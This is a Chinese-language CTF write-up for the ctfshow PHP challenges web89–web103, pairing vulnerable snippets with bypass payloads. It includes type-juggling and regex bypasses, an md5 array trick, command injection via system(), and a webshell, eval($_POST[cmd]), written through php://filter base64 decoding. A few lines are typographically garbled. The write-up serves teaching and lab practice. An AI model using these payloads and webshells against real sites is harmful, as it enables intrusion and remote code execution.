web89 {#web892506}
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
因此,我们用数组绕过
?num[]=
web90 {#web903879}
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
payload:?num=4476a
web92 {#web926484}
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
字符 ^ 和 $ 同时使用时,说明我们需要匹配以php开头和以php结尾的字符 /m 是多行匹配.这里我们可以用%0a也就是换行符来绕过第二个if。
payload:/?cmd=php%0aphp
web93 {#web938807}
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这里说明不可以利用php弱类型和十六进制绕过。但是没关系我们可以利用 . 来绕过
payload:?num=4476.1
web94 {#web944036}
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){ //意思其实就是说字符串第一个不能是0,因为!0=1就成立了
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
因为这里字母被过滤了所以只能用八进制绕过了
payload:?num=%20010574
web95 {#web958142}
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
这题只是在第一个if处变成弱比较,第二个处多了个对 . 的过滤。我们依旧可以用web94的方法来绕过
web96 {#web963160}
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
在linux中表示当前目录是 ./
payload:?u=./flag.php
web97 {#web976809}
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
这题在md5处是===强等于,我们可以利用数组强行转化类型返回null值来绕过
payload:a[]=1&b[]=2
web98 {#web985000}
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
web99 {#web991269}
<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php+eval($_POST[cmd]);?>
} ?>
web100 {#web1006828}
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
is_numeric() 函数用于检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回 TRUE,否则返回
FALSE,注意浮点型返回空值,即 FALSE。
eval("$v2('ctfshow')$v3");这里说明$v2传递一个命令,$v3传递 ; 所以这里逻辑关系就是 $v1 and FALSE and FALSE
在php里TRUE and FALSE and FALSE;返回即是TRUE
这是因为它的运算符优先级是**&&>=>and** 他会先将前面的值赋给后面。从而导致这里返回是TRUE
payload:?v1=1&v2=system("nl ctfshow.php")&v3=;
然后把0x2d改成-即可。
web101 {#web1017577}
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
这题比上题多了些过滤,进查找资料得知,这里是用php5新加入的反射类ReflectionClass来做
ReflectionClass反射类可以与已定义的类建立映射关系
payload:?v1=1&v2=echo new Reflectionclass&v3=;
web102 {#web1026307}
<?php
highlight_file(FILE);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);//将$str内容写到$v3中
}
else{
die('hacker');
}
?>
所以说,这里的v1可以用来传递函数解密v2传递进来的值,而v2可以写php文件,v3写文件名
由于这里v4要为真,所以说这里的v2需要为数字或者e(科学计数法)
payload:/?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=12.php
post:v1=hex2bin
web103 {#web1036958}
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
payload同web102